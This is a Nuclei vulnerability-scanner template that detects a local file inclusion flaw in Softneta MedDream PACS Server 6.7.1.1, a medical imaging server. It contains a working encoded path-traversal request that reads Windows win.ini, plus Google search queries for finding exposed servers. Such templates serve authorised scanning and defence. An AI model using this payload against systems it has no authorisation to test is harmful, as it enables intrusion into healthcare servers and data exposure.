id: sofneta-mecdream-pacs-lfi

info:
  name: Softneta MedDream PACS Server Premium 6.7.1.1 - Local File Inclusion
  author: 0x_akoko
  severity: high
  description: Softneta MedDream PACS Server Premium 6.7.1.1 is vulnerable to local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/45347
    - https://www.softneta.com/products/meddream-pacs-server/downloads.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
    cpe: cpe:2.3:a:softneta:meddream_pacs:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    google-query: inurl:pacs/login.php, inurl:pacsone/login.php, inurl:pacsone filetype:php home, inurl:pacsone filetype:php login
    product: meddream_pacs
    vendor: softneta
  tags: sofneta,lfi,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/pacs/nocache.php?path=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin.ini"

    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 490a004630440220240a282741b4e698cc8dc54b08cb039e7ba25da518769f3082065f63752a0902022013b459162aa1765b5b37ffc0fba859ac6ec0d0b94cfe38b5ac37909edd99fcd3:922c64590222798bb761d5b6d8e72950